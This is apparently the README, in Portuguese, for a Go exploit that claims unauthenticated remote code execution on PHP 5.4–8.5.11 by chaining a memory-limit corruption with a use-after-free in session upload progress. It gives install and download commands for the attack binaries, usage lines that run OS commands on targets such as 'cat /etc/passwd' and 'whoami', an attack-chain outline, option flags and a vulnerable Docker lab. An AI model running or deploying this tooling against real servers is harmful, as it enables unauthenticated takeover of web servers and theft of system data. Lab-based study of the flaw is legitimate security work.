
[PHP2Shell] Exploit em Golang para CVE-2026-109618 / CVE-2026-109619: RCE não autenticado no PHP 5.4–8.5.11 via corrupção de OOM + UAF em session.upload_progress
Execução Remota de Código Não Autenticada no PHP 5.4.0 – 8.5.11 (todos os servidores web).
CVSS 9.2 Crítico · Corrigido em 2026-10-21 · CISA KEV 2026-10-26
Apenas para testes de segurança autorizados — em sistemas que você possui ou tem permissão escrita explícita para testar.
go install (mais rápido, requer Go 1.22+)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
Sem Go instalado? Instale-o em 30 segundos:
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
Binários pré-compilados são anexados a cada GitHub Release.
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
Os binários são compilados automaticamente pelo GitHub Actions quando uma nova tag é enviada.
Se ocurlretornar um arquivo minúsculo que diz "Not found", ainda não existe uma release — use a Opção A em vez disso.
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
O PHP possui dois bugs críticos de segurança de memória acionados por requisições HTTP POST multipart/form-data especialmente construídas:
| CVE | Tipo | Gatilho |
|---|---|---|
| CVE-2026-109618 | Corrupção de memória (OOM) | Campos multipart grandes esgotam o memory_limit no meio da análise, longjmp() dispara sobre um estado parcialmente inicializado |
| CVE-2026-109619 | Use-after-free | O campo PHP_SESSION_UPLOAD_PROGRESS lê memória liberada de um worker de uma requisição anterior |
Nenhum dos bugs exige login, um endpoint especial ou qualquer código de aplicação — eles disparam dentro do motor do PHP antes que qualquer script .php seja executado.
Consulte docs/vulnerability.md para a análise técnica completa com requisições HTTP anotadas.
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| Flag | Padrão | Descrição |
|---|---|---|
-target | obrigatório | URL base, ex.: http://192.168.1.10 |
-path | /index.php | Caminho do endpoint PHP |
-cmd | id | Comando do SO a executar |
-mode | auto | auto / modphp / fpm |
-workers | 8 | Slots de worker para spray |
-oom-parts | 30 | Campos multipart na Fase 1 |
-part-size | 204800 | Bytes por campo (200 KB) |
-spray-size | 131072 | Tamanho do heap spray (128 KB) |
-timeout | 15s | Timeout por requisição |
-verbose | false | Imprime o corpo bruto da resposta |
-leak-only | false | Apenas vazamento de memória (análise de ASLR) |
| Branch | Última vulnerável | Corrigida em |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | todas | sem patch upstream — use o backport da distro |
O diretório sandbox/ contém um alvo vulnerável pronto para uso (PHP 8.4.26 + Apache mod_php) com configurações padrão que expõem ambas as CVEs.
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only